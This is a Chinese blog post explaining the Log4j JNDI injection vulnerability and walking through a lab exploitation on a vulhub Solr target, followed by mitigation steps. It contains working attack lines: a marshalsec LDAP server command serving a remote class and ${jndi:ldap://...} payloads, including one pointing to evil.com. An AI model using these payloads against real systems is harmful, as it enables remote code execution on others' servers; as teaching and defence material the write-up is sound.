首页 > 其他分享 >log4j JNDI注入漏洞

log4j JNDI注入漏洞

时间:2023-04-28 20:57:37浏览次数:40  
标签:Java 漏洞 JNDI lookup LDAP log4j

log4j JNDI注入漏洞

目录

一、LDAP介绍

​ LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。

二、JDBC介绍

​ JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。

三、JNDI介绍

​ JNDI是一种规范,JNDI的全称是Java Naming and Directory Interface,Java 命名与目录接口。可以根据名字找到对应资源。

JNDI可以访问的服务:

LDAP目录服务、RMI远程方法调用、DNS、文件系统等。

四、JNDI命名引用

1、在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。

比如:远程HTTP服务的一个.class文件。

2、如果JNDI客户端,在LDAP服务中找不到对应的资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地。

3、如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。

五、log4j JNDI注入漏洞

​ Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

个人理解:(不一定正确)
log4j JNDI注入漏洞主要是因为log4j在日志记录的方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。

漏洞利用:

1、kali中开启vulhub中log4j的靶机

2、开启获取资源的http服务器

3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)

4、开启RMI/LDAP服务(本机的9999端口)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999

5、bp发送payload

http://192.168.142.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.142.1:9999/test}

修复思路:

1、禁止用户请求参数出现攻击关键字

2、禁止lookup下载远程文件(命名引用)

3、禁止log4j的应用连接外网

4、禁止log4j使用lookup

5、从log4j jar包中删除lookup(适合2.10以下版本)

修复方案:

1、将log4j框架升级到2.17.1版本

2、使用安全产品防护

标签:Java,漏洞,JNDI,lookup,LDAP,log4j
From: https://www.cnblogs.com/candada/p/17362436.html

相关文章

  • Fastjson反序列化漏洞
    Fastjson反序列化漏洞目录Fastjson反序列化漏洞一、Fastjson介绍1、什么是fastjson?2、fastjson的优点二、影响范围:三、漏洞原理四、漏洞利用五、漏洞发现六、漏洞修复一、Fastjson介绍1、什么是fastjson?fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Ja......
  • 发布Flash跨域策略,CORS跨域资源共享漏洞,设置访问白名单
    1      问题描述:跨域策略文件配置问题:<allow-access-fromdomain="*"/>,允许从任何域进行访问 2      解决方案:找到对应的文件,正确配置白名单,配置样例如下: ......
  • Oracle WebLogic多个组件漏洞风险提示
    漏洞概述近日,WebRAY安全服务产品线监测到Oracle官方发布了安全更新,本次共发布了包含WebLogic在内的433个产品的安全补丁程序,其中CVE-2023-21912、CVE-2023-21996、CVE-2023-21964、CVE-2023-21931、CVE-2023-21979等较为严重。WebLogic是美国Oracle公司出品的一个applicationserve......
  • 记录一次未初始化漏洞_four
    对一道关于未初始化漏洞的题目的总结,来自前几天的DASCTF。这道题总体不算难,我觉得更多的考了代码审计能力(也有可能是本人初学,看伪c没经验,所以觉得很复杂,中间看了看wp对这道题才恍然大悟)因为作为一道栈题来说,伪c算挺长的了。题目链接:https://pan.baidu.com/s/1oLz7BPI5oyJlrO2a5......
  • 网络安全之文件包含漏洞就是这么简单
    前言文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。但我们除了包含常规的代码文件外,包含的任意后缀文件都会被当作代码执行,因此,如果有允许用户控制......
  • SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808) 修复方案
    详细描述SSL/TLS协议是一个被广泛使用的加密协议,BarMitzvah攻击实际上是利用了"不变性漏洞",这是RC4算法中的一个缺陷,它能够在某些情况下泄露SSL/TLS加密流量中的密文,从而将账户用户名密码,信用卡数据和其他敏感信息泄露给黑客。解决方法临时解决方法:服务器端(SSL/TLS)--------1......
  • mysql处理CVE-2023-21912漏洞
    目录背景解决办法系统现状思考升级过程(离线)1.查看Centos版本2.查看数据库版本3.数据库离线下载地址4.解压安装包5.停止mysql服务5.备份数据库文件6.卸载当前数据库版本7.本地安装8.启动mysql辅助操作查看含有mysql文件路径查找mysql配置文件查看文件占用大小当前目录查......
  • CVE-2016-3088漏洞复现
    1.背景介绍。ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。fileserver是一个RESTfulAPI接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进......
  • Log4j2异步日志、同步日志和混合日志的配置详解
      Log4j2中记录日志的方式有同步日志和异步日志两种方式,其中异步日志又可分为使用AsyncAppender和使用AsyncLogger两种方式。文章目录同步日志混合同步和异步日志异步日志(性能最好,推荐使用)一、同步日志  所谓同步日志,即当输出日志时,必须等待日志输出语句执行完......
  • SQL Inject漏洞手工测试:基于报错的信息获取(select/delete/update/insert)
    技巧思路:在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。背景条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。重点:基于报错的信息获取------三个常用的用来报错的函数updatexml()......